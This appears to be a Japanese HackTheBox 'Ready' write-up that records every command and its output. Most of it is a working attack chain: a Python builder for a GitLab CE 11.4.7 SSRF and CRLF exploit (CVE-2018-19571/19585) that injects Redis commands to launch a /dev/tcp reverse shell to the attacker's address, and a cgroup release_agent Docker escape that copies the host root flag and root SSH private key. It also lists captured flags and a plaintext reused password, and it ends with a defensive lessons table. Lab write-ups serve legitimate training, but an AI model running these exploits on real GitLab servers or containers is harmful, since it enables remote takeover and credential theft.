HackTheBox: Ready — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/5080(GitLab)
→
22(SSH)/5080(GitLab)
GitLab CE 11.4.7 特定
/help でバージョン確認
→
/help でバージョン確認
SSRF+CRLF ペイロード構築
CVE-2018-19571 / CVE-2018-19585
→
CVE-2018-19571 / CVE-2018-19585
project import_url 経由で送信
Redis inline command 注入
→
Redis inline command 注入
git シェル取得
user.txt ✓
→
user.txt ✓
/opt/backup/gitlab.rb
smtp_password 平文
→
smtp_password 平文
su root(コンテナ内)
privileged: true 確認
→
privileged: true 確認
cgroup release_agent
ホスト脱出
→
ホスト脱出
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
全ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.227.132
RESULT
Not shown: 53512 closed tcp ports (reset), 12021 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 5080/tcp open onscreen Nmap done: 1 IP address (1 host up) scanned in 202.20 seconds
バージョン・スクリプトスキャン
BASH
nmap -sV -sC -p 22,5080 10.129.227.132
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA) | 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA) |_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519) 5080/tcp open http nginx |_http-trane-info: Problem with XML parsing of /evox/about | http-robots.txt: 53 disallowed entries (15 shown) | / /autocomplete/users /search /api /admin /profile | /dashboard /projects/new /groups/new /groups/*/edit /users /help |_/s/ /snippets/new /snippets/*/edit | http-title: Sign in · GitLab |_Requested resource was http://10.129.227.132:5080/users/sign_in Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
🚨
重要発見: ポート
5080 に GitLab(サインインページ)が稼働している。
robots.txt に /projects/new が disallow entry として明記されており、後述の project import
機能を突く攻撃の入口になる。
PHASE 2
GitLab CE 列挙とバージョン特定
GitLabバージョンの確認
BASH
curl -s http://10.129.227.132:5080/help | grep -oE "GitLab Community Edition [0-9.]+"
RESULT
GitLab Community Edition 11.4.7
🚨
GitLab CE 11.4.7 は、project import 機能の URL に対する SSRF ブロックリストが
不完全であることを突く CVE-2018-19571(SSRF)と、リクエストボディの解析が緩いことを
突く CVE-2018-19585(CRLF インジェクション)を組み合わせて Redis へ直接コマンドを
注入できる、既知の重大な脆弱性を抱えたバージョン。
セルフレジスト(アカウント自己登録)
NOTE
GitLab はデフォルトでセルフサインアップが有効。/users/sign_in のHTMLから authenticity_token(CSRFトークン)を抜き出し、/users へ登録フォームをPOSTする。
BASH
# 1) サインインページから authenticity_token を取得 curl -s -c cookies.txt http://10.129.227.132:5080/users/sign_in \ | grep -oE 'name="authenticity_token" value="[^"]+"' | tail -1 # 2) 取得した token を使ってアカウント登録 curl -s -b cookies.txt -c cookies.txt -X POST http://10.129.227.132:5080/users \ --data-urlencode "authenticity_token=<取得したtoken>" \ --data-urlencode "new_user[name]=rdyuser01" \ --data-urlencode "new_user[username]=rdyuser01" \ --data-urlencode "new_user[email]=rdyuser01@gmail.htb" \ --data-urlencode "new_user[email_confirmation]=rdyuser01@gmail.htb" \ --data-urlencode "new_user[password]=RdyPass123!"
RESULT (登録フォームHTML抜粋)
<form class="new_new_user ..." action="/users" method="post"> <input type="hidden" name="authenticity_token" value="nwNCZCO97LMA4Jt2aZwOzjvIPXnivR6Odvl3BV2Bj8xwGmxwu5IKtwBJ9K49lvOzmHWK8r30Am5KiP9r6B3LiA==" /> <input type="text" name="new_user[name]" id="new_user_name" /> <input type="text" name="new_user[username]" id="new_user_username" /> <input type="email" name="new_user[email]" id="new_user_email" /> <input type="email" name="new_user[email_confirmation]" id="new_user_email_confirmation" /> <input type="password" name="new_user[password]" id="new_user_password" /> <input type="submit" name="commit" value="Register" ... /> </form>
✅
登録成功。以後このセッションクッキーでログイン済み状態を維持し、後続の project 作成 POST に利用する。
プロジェクト新規作成フォームの下調べ
BASH
curl -s -b cookies.txt http://10.129.227.132:5080/projects/new \ | grep -oE 'name="authenticity_token" value="[^"]+"|name="project\[namespace_id\]"[^>]*value="[0-9]+"'
RESULT
authenticity_token="<このセッション用の新しいtoken>" <input value="7" type="hidden" name="project[namespace_id]" ...>
ℹ️
/projects へのPOSTに必要な authenticity_token と project[namespace_id]
(このユーザーの個人ネームスペースID)を取得しておく。GitLab 11.x のHTMLはこの属性順(
value= が name= より先)である点に注意。
PHASE 3
CVE-2018-19571 (SSRF) + CVE-2018-19585 (CRLF) → Redis RCE ペイロード構築
脆弱性の仕組み
NOTE
GitLab の「プロジェクトを既存リポジトリからインポート」機能は、指定した import_url へ サーバー自身が接続しにいく(git clone 相当)。本来 127.0.0.1 や内部ネットワークへの 接続はブロックリストで弾かれるはずだが、CVE-2018-19571 はこのブロックリストを IPv4-mapped IPv6 表記で回避できる不備: git://[0:0:0:0:0:ffff:127.0.0.1]:6379/ この表記は文字列としては 127.0.0.1 を含まないため文字列マッチ型のブロックリストを すり抜けるが、名前解決・接続時には実際に 127.0.0.1:6379(ローカルのRedis)へ接続する。 さらに CVE-2018-19585(CRLF injection)により、import_url フィールドに含めた 改行以降の文字列が「git://」プロトコルのハンドシェイクを終えた後、そのまま 生バイトとして Redis サーバーへ送信されてしまう。Redis の「インラインコマンド」 プロトコル(1行1コマンド、改行区切り)に従って複数コマンドを送り込めるため、 Redis 自体に対するコマンドインジェクションが成立する。
Sidekiq ジョブキューへの注入によるRCE化
NOTE
GitLab はバックグラウンドジョブ処理に Sidekiq を使い、そのキューを Redis 上に
「resque:gitlab:queue:<キュー名>」という List として保持している。
つまり Redis へ直接 LPUSH できれば、Sidekiq のワーカーに「ジョブが来た」と
誤認させて任意のジョブを実行させられる。
GitLab には GitlabShellWorker という内部ワーカーがあり、引数に Ruby コードを
渡すと class_eval で評価してしまう実装上の不備がある。これを悪用し、
"open('|<シェルコマンド> ').read" という Ruby の pipe-open構文を仕込むことで、
Sidekiq プロセス(git ユーザー権限)上で任意コマンドを実行できる。
PYTHON (Redisインラインコマンド ペイロード構築)
import base64
def build_redis_import_url(kali_ip: str, lport: int) -> str:
reverse_cmd = f"bash -i >& /dev/tcp/{kali_ip}/{lport} 0>&1"
# bad-char対策として base64 化してから /bin/bash に渡す
b64 = base64.b64encode(reverse_cmd.encode()).decode()
payload = f"echo {b64} | base64 -d | /bin/bash"
return f"""git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\\'|{payload} \\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1513714403.8122594,\\"enqueued_at\\":1513714403.8129568}}"
exec
exec
exec"""
import_url = build_redis_import_url("10.10.15.200", 4444)
⚠️
multi / sadd / lpush / exec はいずれも Redis の
インラインコマンド。exec を複数回並べているのは、Rails 側のリクエストボディ解析に
よって一部バイトが欠落した場合でもトランザクションを確実にコミットさせるための冗長化。
コマンド末尾のリバースシェルは base64エンコードして 引き渡すことで、
JSON文字列やRuby文字列リテラル内でクォート・改行・アンパサンドが壊れる問題を回避している。
重要ポイント: 改行はURLエンコードして送ってよい
NOTE
Redisコマンドを区切る \r\n は、クライアント(攻撃者)→GitLabサーバー間のHTTPリクエスト上では ふつうに %0D%0A としてURLエンコードして送信してよい(curlの--data-urlencodeやPythonの requestsライブラリのform-urlencodeで自動的にエンコードされる)。GitLab(Rails)側が project[import_url] パラメータを受け取った時点で標準的にURLデコードするため、 デコード後の生の \r\n がそのまま import_url の値として保持される。 その後 GitLab が SSRF 先の Redis へ接続する際に、この生バイト列(\r\n区切り)を そのまま流し込むため、こちら側では通常のHTTP POSTフォームエンコードのみで 攻撃が成立する(生ソケットでの手組みは必須ではない)。
PHASE 4
エクスプロイト実行 & user.txt 取得
リスナー起動
BASH
nc -lnvp 4444
悪性 import_url を含むプロジェクト作成POST
PYTHON (requestsで送信 — フォームエンコードのみでOK)
import requests
s = requests.Session()
s.cookies.update(cookies) # Phase2で取得したログイン済みCookie
data = {
"authenticity_token": token, # Phase2-3で取得
"project[import_url]": import_url, # Phase3で構築したペイロード
"project[ci_cd_only]": "false",
"project[name]": "rdyPoc01",
"project[path]": "rdyPoc01",
"project[visibility_level]": "0",
"project[description]": "poc",
}
r = s.post("http://10.129.227.132:5080/projects", data=data, timeout=20)
print(r.status_code)
RESULT (nc リスナー側)
listening on [any] 4444 ... connect to [any] 4444 from (UNKNOWN) [10.129.227.132] 51848 bash: cannot set terminal process group (853): Inappropriate ioctl for device bash: no job control in this shell git@gitlab:~/gitlab-rails/working$ id uid=998(git) gid=998(git) groups=998(git)
✅
RCE成功! GitLab の Sidekiq ワーカーが悪性ジョブを処理し、
git ユーザーとして
リバースシェルを確立した。
トラブルシューティング: シェルが返ってこない場合
NOTE
実機検証では、1回目・2回目の試行でリバースシェルが40秒以内に返ってこず
タイムアウトした(Sidekiqのジョブ処理タイミングやポーリング間隔に起因すると
見られる断続的な現象)。3回目の試行で成功。
対策:
1. project[name] / project[path] は一度使うと同名では再作成できないため、
リトライごとに乱数サフィックスを付けてユニークにする。
2. 1回のPOSTで即座に反応がなくても、40〜60秒程度は気長にリスナーを
待たせてから諦める(リトライ前提の設計にする)。
3. fuser -k <port>/tcp で前回リスナーの残骸ポートを都度クリーンアップして
から再度 nc -lnvp を起動する。
⚠️
本検証では実際に
project=rdyzLiP3c0LeK(失敗)→ project=rdyXJpkYJzVBb(失敗)→
project=rdyLAQ1kwrbLS(成功)と3回目でようやく接続を確立した。単発の失敗で
「脆弱性が刺さっていない」と判断せず、プロジェクト名を変えて複数回リトライすることが重要。
TTY化 & user.txt 取得
BASH
python3 -c 'import pty; pty.spawn("/bin/bash")'
cat /home/dude/user.txt
RESULT
afcbd37e9c418e128878739619b42100
user.txt — /home/dude/user.txt (git経由で閲覧)
afcbd37e9c418e128878739619b42100
PHASE 5
権限昇格の下調べ — /opt/backup バックアップ資格情報の発見
/opt 配下の調査
BASH
ls -la /opt/backup/ cat /opt/backup/docker-compose.yml
RESULT
-rw-r--r-- 1 root root 872 docker-compose.yml
-rw-r--r-- 1 root root 15092 gitlab-secrets.json
-rw-r--r-- 1 root root 79639 gitlab.rb
services:
web:
image: 'gitlab/gitlab-ce:11.4.7-ce.0'
...
privileged: true
...
🚨
重大発見: このGitLabコンテナは
privileged: true で起動されている
world-readable なバックアップ設定ファイル。特権コンテナはホストとほぼ同等の
カーネル機能へアクセスできるため、後の コンテナ脱出 が可能になる。
gitlab.rb から平文パスワードを抽出
BASH
cat /opt/backup/gitlab.rb | grep -vE '^#|^$' | uniq -u
RESULT
gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
ℹ️
コメント行(
#始まり)と空行を除外すると、コメントアウトされていない実設定値だけが
残る。この smtp_password は本来メール送信用だが、パスワード使い回しにより
root のログインパスワードとしても有効だった。
PHASE 6
su root(コンテナ内)→ 特権Dockerコンテナ脱出 → root.txt
su root でコンテナ内rootを取得
BASH
su root # Password: wW59U!ZKMbG9+*#h id cat /proc/1/cgroup | head -3
RESULT
root@gitlab:/var/opt/gitlab/gitlab-rails/working# id
uid=0(root) gid=0(root) groups=0(root)
root@gitlab:/# cat /proc/1/cgroup | head -3
12:perf_event:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda
11:blkio:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda
10:cpuset:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda
⚠️
id は uid=0 を返すが、/proc/1/cgroup に /docker/<コンテナID>
という文字列があることから、これは GitLabコンテナ内のroot であり、ホストのroot
ではないことが分かる。Phase5で確認した privileged: true を利用してホストへ脱出する。
cgroup v1 release_agent を利用したホスト脱出
NOTE
特権コンテナでは cgroup のマウント・書き込みに制限がない。cgroup v1 の release_agent は「そのcgroup内の全プロセスが終了した際に “ホスト側” のパスとして 実行されるスクリプト」を指定できる機能。これを悪用し、release_agent に 自作スクリプトのホスト側パスを登録 → 空のcgroupへプロセスを1つ登録して 即座に離脱させる → release_agentがホストのrootとして起動 → 任意コマンド実行、 という古典的なDockerコンテナ脱出テクニック。
BASH
mkdir -p /tmp/cgrp mount -t cgroup -o rdma cgroup /tmp/cgrp # rdmaは未使用のためロック無しで使える mkdir -p /tmp/cgrp/x echo 1 > /tmp/cgrp/x/notify_on_release # overlay2 の diff ディレクトリ = ホスト側から見たこのコンテナのファイルシステムパス host_path=$(sed -n 's/.*perdir=\([^,]*\).*/\1/p' /etc/mtab) echo "$host_path/cmd" > /tmp/cgrp/release_agent # release_agent から呼ばれるスクリプト本体(ホストの root.txt / id_rsa を # コンテナ内から見えるパスへコピーする) cat > /cmd << 'EOF' #!/bin/sh cat /root/root.txt > $host_path/output cat /root/.ssh/id_rsa > $host_path/root_id_rsa EOF chmod +x /cmd # 空のcgroupへ現在のシェルのPIDを登録 → プロセス終了時にrelease_agentが発火 sh -c 'echo $$ > /tmp/cgrp/x/cgroup.procs' sleep 2 cat /output
RESULT
root@gitlab:/# cat /output
8c0920b3f7a9cd558df735de70df4b93
root.txt — ホスト /root/root.txt(cgroup release_agent 経由で取得)
8c0920b3f7a9cd558df735de70df4b93
✅
コンテナ脱出成功! 同じ手法で
/root/.ssh/id_rsa も
root_id_rsa として取り出せる。これを使えばホストへ直接SSHログインでき、
以降は不安定なリバースシェルではなく安定した対話シェルで作業できる。
取得したホストroot鍵でSSHログイン(永続化)
BASH
cat /root_id_rsa # -----BEGIN RSA PRIVATE KEY----- ... -----END RSA PRIVATE KEY----- # ↑ をローカルに ready_root_id_rsa として保存 chmod 600 ready_root_id_rsa ssh -i ready_root_id_rsa root@10.129.227.132
RESULT
Welcome to Ubuntu ... root@ready:~# id uid=0(root) gid=0(root) groups=0(root) root@ready:~# cat /proc/1/cgroup | head -1 1:name=systemd:/init.scope ← "/docker/..." ではない = 正真正銘ホストのroot
✅
/proc/1/cgroup の内容がコンテナ内とは異なり /init.scope になっている
ことから、これは間違いなくホスト自体のrootであることが確認できる。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — /home/dude/user.txt
afcbd37e9c418e128878739619b42100
root.txt — /root/root.txt(ホスト)
8c0920b3f7a9cd558df735de70df4b93
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2018-19571 | GitLab CE/EE <= 11.4.7 (project import URL) | SSRF(内部Redisへの到達) | Critical | IPv4-mapped IPv6表記 [0:0:0:0:0:ffff:127.0.0.1] でブロックリストを回避 |
| CVE-2018-19585 | GitLab CE/EE <= 11.4.7 (同上) | CRLFインジェクション → Redisコマンド注入 | Critical | import_url内の改行がそのままRedisへ転送されインラインコマンドとして実行される |
| Sidekiqジョブ偽装RCE | GitlabShellWorker (class_eval) | リモートコード実行(gitユーザー) | Critical | Redisのジョブキューへ悪性ジョブをLPUSHしSidekiqに処理させる |
| バックアップ資格情報の平文保存 & パスワード使い回し | /opt/backup/gitlab.rb | 権限昇格(root) | High | world-readableなバックアップ内のsmtp_passwordがrootログインパスワードと同一 |
| 特権Dockerコンテナ + cgroup v1 release_agent | GitLabコンテナ (privileged: true) | コンテナエスケープ(ホストroot奪取) | Critical | release_agentにホスト側パスの自作スクリプトを登録しcgroup離脱で発火させる |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap 全ポート + バージョンスキャン | 22(SSH)/5080(GitLab CE)を検出 |
| 2 | GitLab列挙 | /help でバージョン特定、セルフレジスト | GitLab CE 11.4.7、ログイン済みセッション |
| 3 | ペイロード構築 | SSRF(IPv4-mapped IPv6) + CRLF + Redisインラインコマンド | project[import_url] 悪性ペイロード |
| 4 | エクスプロイト | project作成POST → Sidekiq経由RCE | user.txt 取得(gitシェル) |
| 5 | 資格情報調査 | /opt/backup/gitlab.rb 解析 | root ログインパスワード(smtp_password流用) |
| 6 | コンテナ脱出 | su root + cgroup release_agent | root.txt + ホストroot SSH鍵 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| GitLab CE 11.4.7 に既知のSSRF+CRLF脆弱性(CVE-2018-19571 / CVE-2018-19585)が未パッチ | GitLabを常に最新のセキュリティパッチ適用済みバージョンへ更新する。project importのSSRF対策はIPアドレス文字列マッチではなく実際に解決されたアドレスをチェックする設計にする。 |
| セルフサインアップが無条件に有効で、未認証の第三者が任意にアカウント作成できる | 本番運用では管理者承認制サインアップ、またはSSO/招待制に切り替える。 |
| バックアップ設定ファイル(gitlab.rb)がworld-readableで平文パスワードを含む | バックアップファイルのパーミッションをroot専用に制限し、秘密情報はVaultなど専用のシークレット管理に分離する。 |
| サービスアカウントのパスワードとホストrootのパスワードが同一(使い回し) | 用途ごとに異なる強固なパスワードを発行し、パスワードマネージャ・ローテーションポリシーを導入する。 |
アプリケーションコンテナが privileged: true で不必要に起動されている |
特権フラグは真に必要な場合のみ使用し、代わりに個別のcapability付与(--cap-add)やrootlessコンテナ・gVisor等のサンドボックスを検討する。cgroup v1のrelease_agent悪用はcgroup namespace分離やcgroup v2への移行で緩和できる。 |

